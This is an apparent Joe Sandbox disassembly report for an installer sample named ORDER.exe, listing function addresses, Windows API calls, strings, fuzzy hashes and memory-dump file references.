Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ORDER.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction ID: 4dab7c069dd6fc30f8915db09394f7f991a1b088a201bba37056324bf7fcc065
Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction Fuzzy Hash: 98F09BF19092A0DEF360DF688CC47063FE4E3993D5B03852AE358F6269EB7441448B19

Function 0040227F Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 004022B2

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: f8d132d461a5c4ed5c76335474cd8e98aaa4b1821b9353edac55918b86fd9ae5
Instruction ID: 1024819f7f1d2ea578916dba6ac29c28ac22902c13986e1de9ff5d702d2d6265
Opcode Fuzzy Hash: f8d132d461a5c4ed5c76335474cd8e98aaa4b1821b9353edac55918b86fd9ae5
Instruction Fuzzy Hash: B9E08671A44209BADB406FA08E09EBD3668BF01710F10013AF9507B0D1EBB88442F72D

Function 00401595 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00000000,?,?), ref: 004015A0

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c66d089d5a2f634c2935052129529c912c52a98a4509ae0e2fc4e9bc41e15f47
Instruction ID: bed2877986d8c12a83e01492d596720214e57a472dec7050afa6ab6fccae40cd
Opcode Fuzzy Hash: c66d089d5a2f634c2935052129529c912c52a98a4509ae0e2fc4e9bc41e15f47
Instruction Fuzzy Hash: 17D01277B08114E7DB00DBB5AE48A9E73A4FB50325F208637D111F11D0D3B98551A629

Function 00404038 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00010474,00000000,00000000,00000000), ref: 0040404A

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 875450fc840247aea6e73403ee44149e02d5474b467ece0a28835bfda1230da9
Instruction ID: af7fd4c3fc1dda8ad1a195a9021ea177fcc43fc0d0bb539f8953ea950d20d41d
Opcode Fuzzy Hash: 875450fc840247aea6e73403ee44149e02d5474b467ece0a28835bfda1230da9
Instruction Fuzzy Hash: DFC09B717443007BEA31DB509D49F077758A750B00F5584357320F50D0C6B4F451D62D

Function 00404021 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,00403E52), ref: 0040402F

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3bdb3c033a7d800f3f5983e71921b41162ac414239058931643885a1338ef954
Instruction ID: 7b5ccc39adf6f72de5191684d4495c6b43ffe58f78915606d69c4a7e6f44d702
Opcode Fuzzy Hash: 3bdb3c033a7d800f3f5983e71921b41162ac414239058931643885a1338ef954
Instruction Fuzzy Hash: F3B092B5684200BAEE224B40DD09F457EA2E7A4702F008024B300240B0C6B200A1DB19

Function 004031CC Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402EA4,?), ref: 004031DA

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Function 0040400E Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403DEB), ref: 00404018

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: caaff2729d3fe7bae5ae998927534049a5cfce9e2193b3926e4c56a419af128c
Instruction ID: f87940b9544c4de7e657a104dd6f20edac94ef916c9b89b279468f5034d51d6a
Opcode Fuzzy Hash: caaff2729d3fe7bae5ae998927534049a5cfce9e2193b3926e4c56a419af128c
Instruction Fuzzy Hash: E2A01231404001DBCB014B10DF04C45FF21B7503007018030E50140034C6310420FF09

Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E5

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c9c2d380323125baba7308e94fb33277af884a6ec96610a08fce4469fec28eac
Instruction ID: 4daead48d26ae6742cc4751adb680189456718570d67c7320b978f12710e1ab5
Opcode Fuzzy Hash: c9c2d380323125baba7308e94fb33277af884a6ec96610a08fce4469fec28eac
Instruction Fuzzy Hash: DFD0C7B7B141006BD750E7B86E8545A73E8F75135A7148837D502E1191D17DC9415519

Non-executed Functions

Function 0040499C Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049B4
GetDlgItem.USER32(?,00000408), ref: 004049BF
GlobalAlloc.KERNEL32(?,?), ref: 00404A09
LoadBitmapA.USER32(0000006E), ref: 00404A1C
SetWindowLongA.USER32(?,?,00404F93), ref: 00404A35
ImageList_Create.COMCTL32(?,?,00000021,00000006,00000000), ref: 00404A49
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404A5B
SendMessageA.USER32(?,00001109,00000002), ref: 00404A71
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404A7D
SendMessageA.USER32(?,0000111B,?,00000000), ref: 00404A8F
DeleteObject.GDI32(00000000), ref: 00404A92
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404ABD
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404AC9
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B5E
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404B89
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B9D
GetWindowLongA.USER32(?,?), ref: 00404BCC
SetWindowLongA.USER32(?,?,00000000), ref: 00404BDA
ShowWindow.USER32(?,00000005), ref: 00404BEB
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404CE8
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404D4D
SendMessageA.USER32(?,?,00000000,00000000), ref: 00404D62
SendMessageA.USER32(?,00000420,00000000,?), ref: 00404D86
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404DA6
ImageList_Destroy.COMCTL32(00000000), ref: 00404DBB
GlobalFree.KERNEL32(00000000), ref: 00404DCB
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404E44
SendMessageA.USER32(?,00001102,?,?), ref: 00404EED
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404EFC
InvalidateRect.USER32(?,00000000,?), ref: 00404F1C
ShowWindow.USER32(?,00000000), ref: 00404F6A
GetDlgItem.USER32(?,000003FE), ref: 00404F75
ShowWindow.USER32(00000000), ref: 00404F7C

Strings

, xrefs: 00404F54
N, xrefs: 00404C26
M, xrefs: 00404B45

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: f96aeeab4a25318005a3a9f7b7ecea2fbdc3284bb246aef355b8d85046c4ff9d
Instruction ID: ec1b41ef9246f4b5ca9c31e675ea93c5522bc938a585a88f05d0904c7564d9ec
Opcode Fuzzy Hash: f96aeeab4a25318005a3a9f7b7ecea2fbdc3284bb246aef355b8d85046c4ff9d
Instruction Fuzzy Hash: 7A025FB0900209AFEB10DF94DC85AAE7BB5FB84315F10817AFA10B62E1D7789D42DF58

Function 0040442A Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404479
SetWindowTextA.USER32(00000000,?), ref: 004044A3
SHBrowseForFolderA.SHELL32(?,0041F0D0,?), ref: 00404554
CoTaskMemFree.OLE32(00000000), ref: 0040455F
lstrcmpiA.KERNEL32(Call,Stvkonsekvenserne115 Setup: Installing), ref: 00404591
lstrcatA.KERNEL32(?,Call), ref: 0040459D
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004045AF

Part of subcall function 0040552E: GetDlgItemTextA.USER32(?,?,00000400,004045E6), ref: 00405541

Part of subcall function 00405FA1: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\ORDER.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77233410,004033C9), ref: 00405FF9
Part of subcall function 00405FA1: CharNextA.USER32(?,?,?,00000000), ref: 00406006
Part of subcall function 00405FA1: CharNextA.USER32(?,"C:\Users\user\Desktop\ORDER.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77233410,004033C9), ref: 0040600B
Part of subcall function 00405FA1: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77233410,004033C9), ref: 0040601B

GetDiskFreeSpaceA.KERNEL32(0041ECC8,?,?,0000040F,?,0041ECC8,0041ECC8,?,00000000,0041ECC8,?,?,000003FB,?), ref: 0040466C
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404687

Part of subcall function 004047E0: lstrlenA.KERNEL32(Stvkonsekvenserne115 Setup: Installing,Stvkonsekvenserne115 Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,004046FB,000000DF,00000000,00000400,?), ref: 0040487E
Part of subcall function 004047E0: wsprintfA.USER32 ref: 00404886
Part of subcall function 004047E0: SetDlgItemTextA.USER32(?,Stvkonsekvenserne115 Setup: Installing), ref: 00404899

Strings

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 0040457A
Call, xrefs: 0040458B, 00404590, 0040459B
A, xrefs: 0040454D
Stvkonsekvenserne115 Setup: Installing, xrefs: 00404527, 0040458A

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike$Call$Stvkonsekvenserne115 Setup: Installing
API String ID: 2624150263-561060385
Opcode ID: f98f00a644f458d2e02a584555e30f134e65ef2c05e9b8026b1db21ee3dd4a2e
Instruction ID: 5a451af96f6c61f8b8aedc9e732e962e3b59a2a539d705b9404eba0a1a8e20eb
Opcode Fuzzy Hash: f98f00a644f458d2e02a584555e30f134e65ef2c05e9b8026b1db21ee3dd4a2e
Instruction Fuzzy Hash: A6A162B1900208ABDB11AFA6CD45AEFB7B9EF85314F10843BF611B72D1D77C89418B69

Function 00402645 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 00402654

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 8c73969c0d40863ae126986d1f1e8202bdf4bd21bda08d418c229d82633c171d
Instruction ID: 2b7524724565807a685c72c68d6b6eabb337ae57375c882a310f3ed35d4a28aa
Opcode Fuzzy Hash: 8c73969c0d40863ae126986d1f1e8202bdf4bd21bda08d418c229d82633c171d
Instruction Fuzzy Hash: D4F0EC72504110EBD700EBB4994DAEE77B8DF51314F60457BE141F21C1D3B84945E72E

Function 00404135 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,?), ref: 004041C0
GetDlgItem.USER32(00000000,000003E8), ref: 004041D4
SendMessageA.USER32(00000000,0000045B,?,00000000), ref: 004041F2
GetSysColor.USER32(?), ref: 00404203
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404212
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404221
lstrlenA.KERNEL32(?), ref: 00404224
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404233
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404248
GetDlgItem.USER32(?,0000040A), ref: 004042AA
SendMessageA.USER32(00000000), ref: 004042AD
GetDlgItem.USER32(?,000003E8), ref: 004042D8
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404318
LoadCursorA.USER32(00000000,00007F02), ref: 00404327
SetCursor.USER32(00000000), ref: 00404330
ShellExecuteA.SHELL32(0000070B,open,004226A0,00000000,00000000,?), ref: 00404343
LoadCursorA.USER32(00000000,00007F00), ref: 00404350
SetCursor.USER32(00000000), ref: 00404353
SendMessageA.USER32(00000111,?,00000000), ref: 0040437F
SendMessageA.USER32(?,00000000,00000000), ref: 00404393

Strings

open, xrefs: 0040433B
Call, xrefs: 00404303
N, xrefs: 004042C6

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: Call$N$open
API String ID: 3615053054-2563687911
Opcode ID: aa854a75b9a8ef41e2656ff54a1ab69c816baf86c41e2f577b142ace3155aca6
Instruction ID: 47d1c741c4840d0b501b4796cf3fe0e3440e9ec9cd7b0debe1a5eac4f9bfffd7
Opcode Fuzzy Hash: aa854a75b9a8ef41e2656ff54a1ab69c816baf86c41e2f577b142ace3155aca6
Instruction Fuzzy Hash: 8F61A0B1A40309BFEB109F61DD45F6A7B69FB84704F108026FB04BB2D1C7B8A951CB99

Function 00405A6E Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(00421A88,NUL,?,00000000,?,00000000,?,00405C12,?,?,?,004057B5,?,00000000,000000F1,?), ref: 00405A7E
CloseHandle.KERNEL32(00000000,00000000,00000000,?,?,00000000,?,00405C12,?,?,?,004057B5,?,00000000,000000F1,?), ref: 00405AA2
GetShortPathNameA.KERNEL32(00000000,00421A88,00000400), ref: 00405AAB

Part of subcall function 0040592C: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B5B,00000000,[Rename],00000000,00000000,00000000), ref: 0040593C
Part of subcall function 0040592C: lstrlenA.KERNEL32(00405B5B,?,00000000,00405B5B,00000000,[Rename],00000000,00000000,00000000), ref: 0040596E

GetShortPathNameA.KERNEL32(?,00421E88,00000400), ref: 00405AC8
wsprintfA.USER32 ref: 00405AE6
GetFileSize.KERNEL32(00000000,00000000,00421E88,C0000000,?,00421E88,?,?,?,?,?), ref: 00405B21
GlobalAlloc.KERNEL32(?,0000000A), ref: 00405B30
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405B68
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00421688,00000000,-0000000A,004093A0,00000000,[Rename],00000000,00000000,00000000), ref: 00405BBE
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405BD0
GlobalFree.KERNEL32(00000000), ref: 00405BD7
CloseHandle.KERNEL32(00000000), ref: 00405BDE

Part of subcall function 004059C7: GetFileAttributesA.KERNELBASE(00000003,00402CBC,C:\Users\user\Desktop\ORDER.exe,80000000,00000003), ref: 004059CB
Part of subcall function 004059C7: CreateFileA.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 004059ED

Strings

%s=%s, xrefs: 00405ADC
[Rename], xrefs: 00405B50, 00405B62
NUL, xrefs: 00405A78

Memory Dump Source

Source File: 00000000.00000002.32233404876.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.32233330655.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233481624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233557512.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.32233883086.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ORDER.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 1265525490-4148678300
Opcode ID: 10d4b8fe51d6b6f2625f365b8b26cf256cf2f07af5c2bd562b8105816d8408bc
Instruction ID: 2d1e09aab0418ff75005a817fdb93eb8b9645243d234663ae25a64343302d3c0
Opcode Fuzzy Hash: 10d4b8fe51d6b6f2625f365b8b26cf256cf2f07af5c2bd562b8105816d8408bc
Instruction Fuzzy Hash: BE41DEB1604A15BFD6206B219C49F6B3A6CDF45718F14053BBE01FA2D2EA7CB8018E7D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00422F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
